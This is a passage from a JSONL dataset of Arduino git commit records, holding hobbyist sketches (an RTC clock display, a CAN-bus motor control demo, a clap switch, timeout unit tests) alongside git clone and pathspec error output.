.YYYYMMDDHHMMSS. If you make a change between this and the cockpit that requires the firmware to be in sync or it breaks the system your should update this version number\n \/\/ and update the cockpit software lib\/OpenROVControler.js to check and ensure the firmware is at this version.\n Serial.print(\".20130314034900\");\n Serial.print(\";\");\n Serial.print(\"time:\");\n Serial.println(millis());\n }\n\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"bfcc36fb3602b778ad89e8a8d0d83bc049ab4c1c","subject":"Update RC5Decode.ino","message":"Update RC5Decode.ino","repos":"pascaltippelt\/RC5_chinch","old_file":"examples\/RC5Decode\/RC5Decode.ino","new_file":"examples\/RC5Decode\/RC5Decode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pascaltippelt\/RC5_chinch.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"4e8291dc0fab5e6e9442c7206070d19a0aaa2cab","subject":"hopefully this works","message":"hopefully this works\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f508a7c322526bc593f401156a38df9a45df5ae7","subject":"Add stepper_speedControl","message":"Add stepper_speedControl\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"stepper_speedControl\/stepper_speedControl.ino","new_file":"stepper_speedControl\/stepper_speedControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"70251ae5d6e677a8568d35793d701857973a08a2","subject":"Time DS1307 version 2.0 - new project for DS1307RTC","message":"Time DS1307 version 2.0 - new project for DS1307RTC\n","repos":"aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook","old_file":"time_ds1307v2\/time_ds1307v2.ino","new_file":"time_ds1307v2\/time_ds1307v2.ino","new_contents":"\/*\n Time v2\n Time and date on lcd display (used rtc timer) with control by keypad 4x4\n\n Hardware:\n Trickle-Charge Timekeeping Chip DS1302\n http:\/\/www.maximintegrated.com\/en\/products\/digital\/real-time-clocks\/DS1302.html\n http:\/\/playground.arduino.cc\/Main\/DS1302RTC\n LCD I2C PCF8574\n http:\/\/habrahabr.ru\/post\/219137\/\n http:\/\/arduino-info.wikispaces.com\/file\/detail\/LiquidCrystal_I2C1602V1.zip\/341635514\n Keypad 4x4\n\n created 18.01.2015\n modifid 24.01.2015\n by Fust Vitaliy\n with Arduino 1.5.8 (tested on Arduino Uno)\n*\/\n\/*\nSketch uses 14 592 bytes (45%) of program storage space. Maximum is 32 256 bytes.\nGlobal variables use 422 bytes (20%) of dynamic memory, leaving 1 626 bytes for local variables. Maximum is 2 048 bytes.\n*\/\n\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include <CyrI2c.h>\nCyrI2c* lcd;\n\n\n#include <Keypad.h>\nconst byte numRows = 5;\nconst byte numCols = 4;\nchar keymap[numRows][numCols] = {\n {'+', '-', '#', '*'},\n {'1', '2', '3', 'W'},\n {'4', '5', '6', 'S'},\n {'7', '8', '9', 'B'},\n {'A', '0', 'D', 'E'}\n};\nbyte rowPins[numRows] = {4, 5, 6, 7, 8};\nbyte colPins[numCols] = {12, 11, 10, 9};\nKeypad myKeypad = Keypad(makeKeymap(keymap), rowPins, colPins, numRows, numCols);\n\n#include \"RTClib.h\"\nRTC_DS1307 rtc;\n\n#include <dht.h>\ndht DHT;\n\n#define DHT11_PIN 2\n\nvoid setup() {\n lcd = new CyrI2c(0x27, 16, 2);\n lcd->backlight();\n\n rtc.begin();\n DateTime now = rtc.now();\n hello(now.hour());\n}\n\nvoid loop() {\n DateTime now = rtc.now();\n DHT.read11(DHT11_PIN);\n\n lcd->init(F(\"\u041d\u0434\\r\u041f\u043d\\r\u0412\u0442\\r\u0421\u0440\\r\u0427\u0442\\r\u041f\u0442\\r\u0421\u0431\"));\n lcd->printn(now.dayOfWeek(), -1, 0);\n lcd->init(F(\"\u0441\u0456\u0447\u043d\u044f\\r\u043b\u044e\u0442\u043e\u0433\u043e\\r\u0431\u0435\u0440\u0435\u0437\u043d\u044f\\r\u043a\u0432\u0456\u0442\u043d\u044f\\r\u0442\u0440\u0430\u0432\u043d\u044f\\r\u0447\u0435\u0440\u0432\u043d\u044f\\r\u043b\u0438\u043f\u043d\u044f\\r\u0441\u0435\u0440\u043f\u043d\u044f\\r\u0432\u0435\u0440\u0435\u0441\u043d\u044f\\r\u0436\u043e\u0432\u0442\u043d\u044f\\r\u043b\u0438\u0441\u0442\u043e\u043f\u0430\u0434\u0430\\r\u0433\u0440\u0443\u0434\u043d\u044f\"));\n lcd->printn(now.month() - 1, 3, 0);\n\n char buffer[9];\n buffer[8] = 0;\n sprintf(buffer, \"%02d\", now.day());\n lcd->print(buffer, 0, 0);\n sprintf(buffer, \"%02d:%02d:%02d\", now.hour(), now.minute(), now.second());\n lcd->print(buffer, -1, 1);\n char suf[3]{223, 'C'};\n sprintf(buffer, \"%d%s\", (byte) DHT.temperature, suf);\n lcd->print(buffer, 0, 1);\n\n\n unsigned long prevtime = now.unixtime();\n while(prevtime == rtc.now().unixtime()){\n char keypressed = myKeypad.getKey();\n if (keypressed != NO_KEY){\n switch (keypressed) {\n case '+':\n lcd->backlight();\n break;\n default:\n hello(now.hour());\n }\n }\n }\n}\n\nvoid hello(uint8_t hour){\n lcd->clear();\n lcd->init(F(\"\u0414\u043e\u0431\u0440\u043e\u0457 \u043d\u043e\u0447\u0456!\\r\u0414\u043e\u0431\u0440\u043e\u0433\u043e \u0440\u0430\u043d\u043a\u0443!\\r\u0414\u043e\u0431\u0440\u043e\u0433\u043e \u0434\u043d\u044f!\\r\u0414\u043e\u0431\u0440\u043e\u0433\u043e \u0432\u0435\u0447\u043e\u0440\u0430!\\r\u042f \u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a :)\"));\n lcd->printn((hour + 1) \/ 6, 0, 0);\n lcd->printn(4, 3, 1);\n delay(2000);\n lcd->clear();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'time_ds1307v2\/time_ds1307v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c31ea7f7f6584a2e57800e43d82c0c0e00d0697","subject":"Initial commit","message":"Initial commit\n","repos":"YangSkyL\/lora_weather_station,YangSkyL\/lora_weather_station","old_file":"arduino-lora-master\/ATT_Lora_IOT\/examples\/sensor tests\/TPH_SENSOR\/TPH_SENSOR.ino","new_file":"arduino-lora-master\/ATT_Lora_IOT\/examples\/sensor tests\/TPH_SENSOR\/TPH_SENSOR.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-lora-master\/ATT_Lora_IOT\/examples\/sensor' did not match any file(s) known to git\nerror: pathspec 'tests\/TPH_SENSOR\/TPH_SENSOR.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2a3203e1b61b06a45bd3383b060987e0d0ac59ec","subject":"Added comments","message":"Added comments\n\nThere is a discrepancy between the wiring as shown in the schematic vs the ones in the demonstration. I hope these comments will reduce any confusion.","repos":"iNNPL\/arduino_sbs,futureshocked\/arduino_sbs,iNNPL\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs","old_file":"Shift Registers\/shiftRegisters_Demo1\/shiftRegisters_Demo1.ino","new_file":"Shift Registers\/shiftRegisters_Demo1\/shiftRegisters_Demo1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Shift' did not match any file(s) known to git\nerror: pathspec 'Registers\/shiftRegisters_Demo1\/shiftRegisters_Demo1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7e19d9bc22990f982bf0f72e1d0faef8c38c8dc","subject":"Add: arduino DC_motor_voltage_control.","message":"Add: arduino DC_motor_voltage_control.\n","repos":"hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car","old_file":"arduino\/DC_motor_voltage_control\/DC_motor_voltage_control.ino","new_file":"arduino\/DC_motor_voltage_control\/DC_motor_voltage_control.ino","new_contents":"\/\/ demo: CAN-BUS Shield, send data\n\/\/ loovee@seeed.cc\n\n#include <mcp_can.h>\n#include <SPI.h>\n#include <string.h>\n\nfloat float_value = 13;\n\nvoid float2Bytes(byte* bytes_temp, float float_variable) {\n memcpy(bytes_temp, (unsigned char*) (&float_variable), 4);\n}\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = 9;\n\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nunsigned char motor_1_front[4] = {0x1C, 0x72, 0x00, 0x01};\nunsigned char motor_1_back[4] = {0x00, 0x00, 0x00, 0x00};\nunsigned char rotate[8] = {0x1C, 0x72, 0x00, 0x01, 0x00, 0x00, 0x50, 0x41};\nunsigned char st[8] = {0x1C, 0x72, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00};\n\nunsigned char motor_1_on[8] = {0x14, 0x65, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00};\nunsigned char motor_1_off[8] = {0x14, 0x65, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00};\n\nunsigned char motor_1_quick_stop[6] = {0x14, 0x65, 0x00, 0x01, 0x00, 0x07};\n\nint statement_flag = 1;\n\/\/0: motor power on\n\/\/1: motor power stop\n\/\/2: quick stop (like emergency stop)\n\nvoid setup() {\n Serial.begin(9600);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS)) {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n \/\/ CAN.sendMsgBuf(0x01, 0, 8, motor_1_on);\n}\n\nvoid loop() {\n \/\/ CAN.sendMsgBuf(0x01, 0, 8, rotate);\n if (Serial.available() > 0) {\n float_value = Serial.parseFloat();\n }\n\n float2Bytes(motor_1_back, float_value);\n unsigned char* total_rotate = (unsigned char*)malloc(8 * sizeof(char)); \/\/ array to hold the result\n memcpy(total_rotate, motor_1_front, 4 * sizeof(unsigned char)); \/\/ copy 4 floats from x to total[0]...total[3]\n memcpy(total_rotate + 4, motor_1_back, 4 * sizeof(unsigned char)); \/\/ copy 4 floats from y to total[4]...total[7]\n\n CAN.sendMsgBuf(0x01, 0, 8, total_rotate);\n for (int i = 0; i < 8; i++) {\n Serial.print(total_rotate[i], HEX);\n Serial.print('\\t');\n }\n\n Serial.println('\\n');\n free(total_rotate);\n delay(10);\n}\n\n\/\/ END FILE\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/DC_motor_voltage_control\/DC_motor_voltage_control.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8a2be4b467e1ece4c573915c606d305c58cfb577","subject":"Look i added somthin","message":"Look i added somthin\n\n1I begynnelsen var Ordet, och Ordet var hos Gud, och Ordet var Gud. 2 Han var i begynnelsen hos Gud. 3 Genom honom har allt blivit till, och utan honom har inget blivit till, som \u00e4r till. 4 I honom var liv, och livet var m\u00e4nniskornas ljus. 5 Och ljuset lyser i m\u00f6rkret, och m\u00f6rkret har inte \u00f6vervunnit det.\r\n6En man tr\u00e4dde fram, s\u00e4nd av Gud. Hans namn var Johannes. 7 Han kom som ett vittne f\u00f6r att vittna om ljuset, f\u00f6r att alla skulle komma till tro genom honom. 8 Sj\u00e4lv var han inte ljuset, men han kom f\u00f6r att vittna om ljuset.\r\n9Det sanna ljuset, som ger ljus \u00e5t alla m\u00e4nniskor, skulle nu komma till v\u00e4rlden. 10 Han var i v\u00e4rlden och v\u00e4rlden hade blivit till genom honom, och v\u00e4rlden k\u00e4nde honom inte. 11 Han kom till sitt eget, och hans egna tog inte emot honom. 12 Men \u00e5t alla som tog emot honom gav han r\u00e4tt att bli Guds barn, \u00e5t dem som tror p\u00e5 hans namn. 13 De \u00e4r inte f\u00f6dda av blod eller av k\u00f6ttets vilja eller av n\u00e5gon mans vilja utan av Gud.\r\n14Och Ordet blev k\u00f6tt och bodde bland oss,bodde bland oss Ordagrant: \"t\u00e4ltade bland oss\". T\u00e4lthelgedomen, tabernaklet, var i det gamla f\u00f6rbundet platsen f\u00f6r Guds uppenbarelse (2 Mos 25). och vi s\u00e5g hans h\u00e4rlighet, en h\u00e4rlighet som den Enf\u00f6dde har av Fadern, och han var full av n\u00e5d och sanning. 15 Johannes vittnar om honom och ropar: \"Det var om honom jag sade: Han som kommer efter mig \u00e4r f\u00f6re mig, eftersom han var f\u00f6re mig.\" 16 Av hans fullhet har vi alla f\u00e5tt, n\u00e5d och \u00e5ter n\u00e5d. 17 Ty lagen gavs genom Mose, n\u00e5den och sanningen kom genom Jesus Kristus. 18 Ingen har n\u00e5gonsin sett Gud. Den Enf\u00f6dde, som sj\u00e4lv \u00e4r Gud,Den Enf\u00f6dde, som sj\u00e4lv \u00e4r Gud Andra handskrifter: \"Den enf\u00f6dde Sonen\". och \u00e4r hos Fadern, har gjort honom k\u00e4nd.\r\nJohannes D\u00f6parens vittnesb\u00f6rd\r\n19Detta \u00e4r Johannes vittnesb\u00f6rd, n\u00e4r judarnajudarna H\u00e4r, liksom ofta i detta evangelium, \u00e5syftas n\u00e4rmast det judiska folkets ledare, dvs medlemmarna i Stora r\u00e5det. hade s\u00e4nt till honom pr\u00e4ster och leviter fr\u00e5n Jerusalem f\u00f6r att fr\u00e5ga honom vem han var. 20 Han bek\u00e4nde och f\u00f6rnekade inte sanningen. Han bek\u00e4nde: \"Jag \u00e4r inte Messias.\" 21 De fr\u00e5gade honom: \"Vad \u00e4r du d\u00e5? \u00c4r du Elia?\" Han sade: \"Nej, det \u00e4r jag inte.\" \"\u00c4r du Profeten?\"Profeten Den i 5 Mos 18:15, 18 utlovade Profeten har av judarnas skriftl\u00e4rda uppfattats som en fr\u00e5n Messias skild person (v. 25). Denne profet identifieras emellertid av Johannes D\u00f6paren (liksom av aposteln Petrus i Apg 3:22) med Messias. Han svarade: \"Nej.\" 22 D\u00e5 sade de till honom: \"Vem \u00e4r du d\u00e5? Vi m\u00e5ste ge ett svar till dem som har s\u00e4nt oss. Vad s\u00e4ger du om dig sj\u00e4lv?\" 23 Han svarade med profeten Jesajas ord: \"Jag \u00e4r \"r\u00f6sten som ropar i \u00f6knen: G\u00f6r v\u00e4gen rak f\u00f6r Herren!\"\" Jes 40:3\r\n24N\u00e5gra fariseer hade ocks\u00e5 s\u00e4nts ut, 25 och de fr\u00e5gade honom: \"Varf\u00f6r d\u00f6per du, om du inte \u00e4r Messias och inte heller Elia eller Profeten?\" 26 Johannes svarade dem: \"Jag d\u00f6per i vatten. Men mitt ibland er st\u00e5r en som ni inte k\u00e4nner, 27 han som kommer efter mig. Jag \u00e4r inte v\u00e4rd att knyta upp remmen p\u00e5 hans sandaler.\" 28 Detta h\u00e4nde i Betania p\u00e5 andra sidan Jordan, d\u00e4r Johannes d\u00f6pte.\r\n29N\u00e4sta dag s\u00e5g han Jesus komma, och han sade: \"Se Guds lamm,Guds lamm Detta uttryck kan ses i ljuset av GT:s profetior om 1) offerlammet (3 Mos 4:32f), 2) p\u00e5skalammet (2 Mos 12:3f) och 3) lammet som bild av den st\u00e4llf\u00f6retr\u00e4dande Herrens tj\u00e4nare, som \"likt ett lamm f\u00f6rs bort att slaktas\" (Jes 53:7, Jer 11:19). som tar bort v\u00e4rldens synd. 30 Det var om honom jag sade: Efter mig kommer en man som \u00e4r f\u00f6re mig, ty han var f\u00f6re mig. 31 Och jag k\u00e4nde honom inte. Men f\u00f6r att han skulle uppenbaras f\u00f6r Israel har jag kommit och d\u00f6per i vatten.\"\r\n32Johannes vittnade och sade: \"Jag s\u00e5g Anden komma ner som en duva fr\u00e5n himlen och bli kvar \u00f6ver honom. 33 Jag k\u00e4nde honom inte, men han som s\u00e4nde mig att d\u00f6pa i vatten sade till mig: Den som du ser Anden komma ner och bli kvar \u00f6ver, han \u00e4r den som d\u00f6per i den helige Ande. 34 Och jag har sett det och har vittnat att han \u00e4r Guds Son.\"\r\nJesu f\u00f6rsta l\u00e4rjungar\r\n35N\u00e4sta dag stod Johannes d\u00e4r igen med tv\u00e5 av sina l\u00e4rjungar. 36 N\u00e4r han s\u00e5g Jesus komma sade han: \"Se Guds lamm!\" 37 De b\u00e5da l\u00e4rjungarna h\u00f6rde vad han sade och f\u00f6ljde Jesus. 38 Jesus v\u00e4nde sig om, och n\u00e4r han s\u00e5g att de f\u00f6ljde honom, fr\u00e5gade han dem vad de ville. De svarade: \"Rabbi\" - det betyder l\u00e4rare - \"var bor du?\" 39 Han sade till dem: \"Kom och se!\" D\u00e5 gick de med honom och s\u00e5g var han bodde och stannade hos honom den dagen. Det var omkring tionde timmen.\r\n40Andreas, Simon Petrus bror, var en av de tv\u00e5 som hade h\u00f6rt vad Johannes sade och som hade f\u00f6ljt Jesus. 41 Han fann f\u00f6rst sin bror Simon och sade till honom: \"Vi har funnit Messias\" - det betyder Kristus. 42 Och han f\u00f6rde honom till Jesus. Jesus s\u00e5g p\u00e5 honom och sade: \"Du \u00e4r Simon, Johannes son, du skall heta Kefas\"Kefas Se not till Matt 16:18. - det betyder Petrus.\r\n43N\u00e4sta dag besl\u00f6t Jesus att g\u00e5 d\u00e4rifr\u00e5n till Galileen. Han fann d\u00e5 Filippus och sade till honom: \"F\u00f6lj mig!\" 44 Filippus var fr\u00e5n Betsaida, fr\u00e5n samma stad som Andreas och Petrus. 45 Filippus fann Natanael och sade till honom: \"Den som Mose har skrivit om i lagen och som profeterna har skrivit om, honom har vi funnit, Jesus, Josefs son, fr\u00e5n Nasaret.\" 46 Natanael sade till honom: \"Kan n\u00e5got gott komma fr\u00e5n Nasaret?\" Filippus svarade: \"Kom och se!\" 47 N\u00e4r Jesus s\u00e5g Natanael komma sade han om honom: \"Se, han \u00e4r en verklig israelit. I honom finns inget svek.\" 48 Natanael fr\u00e5gade honom: \"Hur kan du k\u00e4nna mig?\" Jesus svarade: \"Innan Filippus kallade p\u00e5 dig, s\u00e5g jag dig d\u00e4r du var under fikontr\u00e4det.\" 49 Natanael svarade: \"Rabbi, du \u00e4r Guds Son, du \u00e4r Israels konung.\" 50 Jesus svarade honom: \"D\u00e4rf\u00f6r att jag sade att jag s\u00e5g dig under fikontr\u00e4det, tror du. Det som \u00e4r st\u00f6rre \u00e4n detta skall du f\u00e5 se.\" 51 Sedan sade han till honom: \"Amen, amenAmen, amen Se not till Matt 5:18. s\u00e4ger jag er: Ni kommer att f\u00e5 se himlen \u00f6ppen och Guds \u00e4nglar stiga upp och stiga ner \u00f6ver M\u00e4nniskosonen.\" Bibeln","repos":"joel076\/Va-,joel076\/Va-,joel076\/Va-,joel076\/Va-","old_file":"Arduino\/clapSwitch.ino","new_file":"Arduino\/clapSwitch.ino","new_contents":"int micPin = A0;\nint gndPin = A1;\nint powerPin = A2;\nint micValue1 = 0;\nint micValue2 = 0;\nint led1 = 11;\nint eventstatus = 0;\n\nvoid setup() {\n\n pinMode(led1, OUTPUT);\n pinMode(powerPin, OUTPUT);\n pinMode(gndPin, OUTPUT);\n pinMode(micPin, INPUT);\n digitalWrite(gndPin,LOW);\n delay(500);\n digitalWrite(powerPin,HIGH);\n Serial.begin(9600);\n}\n\/\/micValue1-micValue2 < 2||micValue2-micValue1 < 2\n\/\/micValue1 < 60\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n micValue1 = analogRead(micPin);\n micValue2 = analogRead(micPin);\n delay(1);\n\n if(micValue1 > 44||micValue1 > 44 && eventstatus == 0){\n Serial.println(\"0\");\n eventstatus = 1;\n }\n \n if(eventstatus==1){ \n for(int k =10; k>0;k--){\n delay(10);\n micValue1 = analogRead(micPin);\n micValue2 = analogRead(micPin);\n if(micValue1 < 44){\n eventstatus=2;\n Serial.println(\"1\");\n break;\n } \n }\n } \n\n \n if(eventstatus==2){\n for(int n=25;n>0;n--){\n delay(1);\n micValue1 = analogRead(micPin);\n micValue2 = analogRead(micPin);\n if(micValue1 > 44){\n eventstatus=3;\n Serial.println(\"2\");\n break;\n }\n }\n }\n \n\n\n \n if(eventstatus==3){\n myservo.write(100);\n delay(1000);\n Serial.println(\"Nice\");\n eventstatus = 0;\n digitalWrite(led1,HIGH);\n delay(2000);\n digitalWrite(led1,LOW);\n delay(1000);\n } \n }\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/clapSwitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8fb979c0c7755fd8b67b1b891c2f2af0c0f16066","subject":"Fixed #3. Added ArduinoUnit tests in SimpleTimeoutTest.ino","message":"Fixed #3. Added ArduinoUnit tests in SimpleTimeoutTest.ino\n","repos":"rablack\/SimpleTimeout","old_file":"examples\/tests\/SimpleTimeoutTest\/SimpleTimeoutTest.ino","new_file":"examples\/tests\/SimpleTimeoutTest\/SimpleTimeoutTest.ino","new_contents":"#line 2 \"SimpleTimeoutTest.ino\"\n\/\/ Tests for the SimpleTimeoutTemplate class\n\/\/ normally instantiated with the millis() function\n\/\/ TestClock::getTicks() will be our test function.\n\n#include <ArduinoUnit.h>\n#include <SimpleTimeout.h>\n\nclass TestClock {\n public:\n static unsigned long getTicks(void) {\n return ticks;\n }\n\n static void setTicks(unsigned long newTicks) {\n ticks = newTicks;\n }\n\n static void add(unsigned long addTicks) {\n ticks += addTicks;\n }\n\n private:\n static unsigned long ticks;\n};\n\nunsigned long TestClock::ticks = 0;\n\n\/\/ Define the TestTimeout type to use our clock function.\ntypedef SimpleTimeoutTemplate<TestClock::getTicks> TestTimeout;\n\n\/\/ A timeout with a negative value waits forever\ntest(forever)\n{\n TestClock::setTicks(100);\n \n TestTimeout timeout(TestTimeout::FOREVER);\n\n assertTrue(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(TestClock::getTicks(), timeout.getEnd());\n\n assertFalse(timeout.expired());\n TestClock::add(100);\n assertFalse(timeout.expired());\n TestClock::setTicks(0);\n assertFalse(timeout.expired());\n\n timeout.cancel();\n assertTrue(timeout.expired());\n assertFalse(timeout.isForever());\n\n timeout.restart();\n assertFalse(timeout.expired());\n assertTrue(timeout.isForever()); \n}\n\n\/\/ A timeout under normal conditions\ntest(normal_timeout)\n{\n TestClock::setTicks(100);\n \n TestTimeout timeout(1000);\n\n \/\/ Now = 100\n \/\/ Expiry time = 100 + 1000 = 1100\n assertFalse(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(1100, timeout.getEnd());\n assertFalse(timeout.expired());\n\n \/\/ One tick before expiry\n TestClock::setTicks(1099);\n assertFalse(timeout.expired());\n\n \/\/ Expiry time\n TestClock::setTicks(1100);\n assertTrue(timeout.expired());\n}\n\n\/\/ Test when the length of the timeout causes the millis() counter\n\/\/ to overflow\ntest(timeout_overflow)\n{\n TestClock::setTicks(ULONG_MAX - 100);\n\n TestTimeout timeout(1000);\n\n assertFalse(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(899, timeout.getEnd());\n\n assertFalse(timeout.expired());\n TestClock::setTicks(ULONG_MAX);\n assertFalse(timeout.expired());\n TestClock::setTicks(0);\n assertFalse(timeout.expired());\n TestClock::setTicks(899);\n assertTrue(timeout.expired());\n}\n\n\/\/ Test when the clock overflows before the timeout is detected\ntest(clock_overflow_timeout)\n{\n TestClock::setTicks(ULONG_MAX - 100);\n\n TestTimeout timeout(50);\n\n assertFalse(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(ULONG_MAX - 50, timeout.getEnd());\n\n assertFalse(timeout.expired());\n TestClock::setTicks(ULONG_MAX); \/\/ Just before clock overflow, already timed out\n assertTrue(timeout.expired());\n TestClock::setTicks(timeout.getStart() - 1); \/\/ After clock overflow\n assertTrue(timeout.expired());\n}\n\n\/\/ Test when the timeout is zero. The timeout has always expired\ntest(zero_timeout)\n{\n TestClock::setTicks(100);\n\n TestTimeout timeout(0);\n\n assertFalse(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(TestClock::getTicks(), timeout.getEnd());\n\n assertTrue(timeout.expired());\n TestClock::setTicks(ULONG_MAX);\n assertTrue(timeout.expired());\n TestClock::setTicks(0);\n assertTrue(timeout.expired());\n}\n\ntest(disabled_restart)\n{\n TestClock::setTicks(100);\n \n TestTimeout timeout(1000);\n\n assertFalse(timeout.isForever());\n assertEqual(TestClock::getTicks(), timeout.getStart());\n assertEqual(1100, timeout.getEnd());\n assertFalse(timeout.expired());\n \n TestClock::setTicks(1099);\n assertFalse(timeout.expired());\n assertFalse(timeout.isDisabled());\n \n TestClock::setTicks(1101);\n assertTrue(timeout.expired());\n assertTrue(timeout.isDisabled());\n\n timeout.restart();\n assertFalse(timeout.expired());\n assertFalse(timeout.isDisabled());\n assertEqual(2101, timeout.getEnd());\n\n timeout.cancel();\n assertTrue(timeout.isDisabled());\n assertEqual(1101, timeout.getEnd());\n assertFalse(timeout.isForever());\n\n timeout.restart(TestTimeout::FOREVER);\n assertTrue(timeout.isForever());\n}\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial) { }\n}\n\nvoid loop() {\n Test::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/tests\/SimpleTimeoutTest\/SimpleTimeoutTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f4746a6b251178b594c2522b6cb528e15088c365","subject":"Added delay to KeyboardReprogram to make backspace more obvious","message":"Added delay to KeyboardReprogram to make backspace more obvious\n","repos":"leftbrainstrain\/Arduino-ESP8266,cscenter\/Arduino,HCastano\/Arduino,ms-iot\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,koltegirish\/Arduino,stickbreaker\/Arduino,wilhelmryan\/Arduino,NicoHood\/Arduino,onovy\/Arduino,rodibot\/Arduino,stevemayhew\/Arduino,wdoganowski\/Arduino,stevemayhew\/Arduino,acosinwork\/Arduino,Alfredynho\/AgroSis,eggfly\/arduino,arduino-org\/Arduino,nandojve\/Arduino,aichi\/Arduino-2,leftbrainstrain\/Arduino-ESP8266,steamboating\/Arduino,jamesrob4\/Arduino,tbowmo\/Arduino,Orthogonal-Systems\/arduino-libs,jabezGit\/Arduino,Alfredynho\/AgroSis,gonium\/Arduino,bsmr-arduino\/Arduino,henningpohl\/Arduino,bigjosh\/Arduino,weera00\/Arduino,talhaburak\/Arduino,ikbelkirasan\/Arduino,leftbrainstrain\/Arduino-ESP8266,smily77\/Arduino,arduino-org\/Arduino,andyvand\/Arduino-1,shiitakeo\/Arduino,aichi\/Arduino-2,NeuralSpaz\/Arduino,stevemayhew\/Arduino,plinioseniore\/Arduino,mc-hamster\/esp8266-Arduino,toddtreece\/esp8266-Arduino,steamboating\/Arduino,raimohanska\/Arduino,eggfly\/arduino,radut\/Arduino,vbextreme\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino-org,kidswong999\/Arduino,eeijcea\/Arduino-1,henningpohl\/Arduino,jmgonzalez00449\/Arduino,Cloudino\/Arduino,zaiexx\/Arduino,acosinwork\/Arduino,plinioseniore\/Arduino,arunkuttiyara\/Arduino,mboufos\/esp8266-Arduino,PeterVH\/Arduino,danielchalef\/Arduino,drpjk\/Arduino,NaSymbol\/Arduino,jamesrob4\/Arduino,ssvs111\/Arduino,championswimmer\/Arduino,danielchalef\/Arduino,SmartArduino\/Arduino-1,ektor5\/Arduino,jomolinare\/Arduino,pdNor\/Arduino,bigjosh\/Arduino,SmartArduino\/Arduino-1,ntruchsess\/Arduino-1,nandojve\/Arduino,danielchalef\/Arduino,drpjk\/Arduino,ccoenen\/Arduino,probonopd\/Arduino,Cloudino\/Arduino,ogahara\/Arduino,noahchense\/Arduino-1,bsmr-arduino\/Arduino,laylthe\/Arduino,wilhelmryan\/Arduino,xxxajk\/Arduino-1,Chris--A\/Arduino,stickbreaker\/Arduino,championswimmer\/Arduino,sanyaade-iot\/Arduino-1,noahchense\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,probonopd\/Arduino,zaiexx\/Arduino,zederson\/Arduino,garci66\/Arduino,snargledorf\/Arduino,jaehong\/Xmegaduino,Protoneer\/Arduino,zenmanenergy\/Arduino,Chris--A\/Arduino,gurbrinder\/Arduino,jaimemaretoli\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,karlitxo\/Arduino,sanyaade-iot\/Arduino-1,KlaasDeNys\/Arduino,gurbrinder\/Arduino,myrtleTree33\/Arduino,eggfly\/arduino,xxxajk\/Arduino-1,T